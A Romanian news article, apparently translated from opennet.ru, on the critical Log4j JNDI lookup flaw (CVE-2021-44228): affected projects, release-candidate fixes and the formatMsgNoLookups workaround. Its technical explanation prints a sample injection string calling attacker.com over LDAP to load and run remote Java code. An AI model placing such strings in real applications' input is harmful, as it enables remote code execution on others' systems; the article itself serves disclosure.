Vulnerabilitatea catastrofală în Apache Log4j care afectează multe proiecte Java

În Apache Log4j, un cadru popular pentru organizarea înregistrării în aplicațiile Java, a fost identificată o vulnerabilitate critică care permite executarea unui cod arbitrar atunci când o valoare special formatată în formatul „{jndi:URL}” este scrisă în jurnal. Atacul poate fi efectuat asupra aplicațiilor Java care înregistrează valorile primite din surse externe, de exemplu, atunci când se afișează valori problematice în mesajele de eroare.

Se observă că aproape toate proiectele care utilizează cadre precum Apache Struts, Apache Solr, Apache Druid sau Apache Flink sunt afectate de problemă, inclusiv Steam, Apple iCloud, clienții și serverele Minecraft. Este de așteptat ca vulnerabilitatea să ducă la un val de atacuri masive asupra aplicațiilor corporative, repetând istoria vulnerabilităților critice în cadrul Apache Struts, care, conform unei estimări aproximative, este folosit în aplicațiile web de 65% din Fortune. 100 de companii, inclusiv încercări de scanare a rețelei pentru sisteme vulnerabile.

Problema este agravată de faptul că un exploit de lucru a fost deja publicat, dar remedieri pentru ramurile stabile nu au fost încă compilate. Identificatorul CVE nu a fost încă atribuit. Remedierea este inclusă numai în ramura de testare log4j-2.15.0-rc1. Ca o soluție pentru blocarea vulnerabilității, este recomandat să setați parametrul log4j2.formatMsgNoLookups la true.

Problema a fost cauzată de faptul că log4j acceptă procesarea măștilor speciale „{}” în liniile ieșite în jurnal, în care ar putea fi executate interogări JNDI (Java Naming and Directory Interface). Atacul se rezumă la trecerea unui șir cu înlocuirea „${jndi:ldap://attacker.com/a}”, după procesare, care log4j va trimite o solicitare LDAP pentru calea către clasa Java către serverul attacker.com . Calea returnată de serverul atacatorului (de exemplu, http://second-stage.attacker.com/Exploit.class) va fi încărcată și executată în contextul procesului curent, ceea ce permite atacatorului să execute cod arbitrar pe sistem cu drepturile aplicației curente.

Anexa 1: Vulnerabilitatea i s-a atribuit identificatorul CVE-2021-44228.

Anexa 2: A fost identificată o modalitate de a ocoli protecția adăugată prin lansarea log4j-2.15.0-rc1. O nouă actualizare, log4j-2.15.0-rc2, a fost propusă cu o protecție mai completă împotriva vulnerabilității. Codul evidențiază modificarea asociată cu absența unei terminații anormale în cazul utilizării unui URL JNDI format incorect.

Sursa: opennet.ru

Adauga un comentariu